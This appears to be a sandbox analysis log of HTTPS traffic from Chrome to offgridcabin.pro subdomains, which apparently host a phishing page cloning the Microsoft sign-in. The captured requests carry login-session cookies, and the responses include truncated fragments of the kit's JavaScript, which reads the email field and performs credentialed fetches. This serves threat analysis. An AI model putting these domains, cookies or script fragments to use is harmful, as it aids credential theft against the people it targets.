2025-01-13 20:53:05 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:05 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 35 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:05 GMT
2025-01-13 20:53:05 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 44 41 31 44 34 45 42 0d 0a Data Ascii: Etag: 0x8DD1AF4ADA1D4EB
2025-01-13 20:53:05 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 34 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:54 GMT
2025-01-13 20:53:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49876	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:05 UTC	712	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:05 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:05 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:05 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:05 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:05 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 35 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:05 GMT
2025-01-13 20:53:05 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 36 34 32 41 44 37 35 42 43 34 45 0d 0a Data Ascii: Etag: 0x8DD1642AD75BC4E
2025-01-13 20:53:05 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 32 32 3a 30 39 3a 33 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT
2025-01-13 20:53:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49877	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:05 UTC	1716	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:05 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:05 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-13 20:53:05 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:05 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49888	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	1469	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:06 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:06 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:06 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:06 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:06 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:06 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-13 20:53:06 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:06 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49889	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	1534	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:06 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:06 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:06 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:06 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:06 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:06 UTC	5	IN	Data Raw: 33 32 36 0d 0a Data Ascii: 326
2025-01-13 20:53:06 UTC	806	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 76 61 Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0]; va
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:06 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49891	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	538	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:06 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:06 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:06 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:06 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:06 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:06 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:06 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:06 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:06 GMT
2025-01-13 20:53:06 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 36 34 32 41 44 37 35 42 43 34 45 0d 0a Data Ascii: Etag: 0x8DD1642AD75BC4E
2025-01-13 20:53:06 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 32 32 3a 30 39 3a 33 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT
2025-01-13 20:53:06 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49892	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	811	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: h9dpo0p6josn24k1zb55eul40.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:06 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:06 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:06 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:06 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-13 20:53:06 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:06 GMT
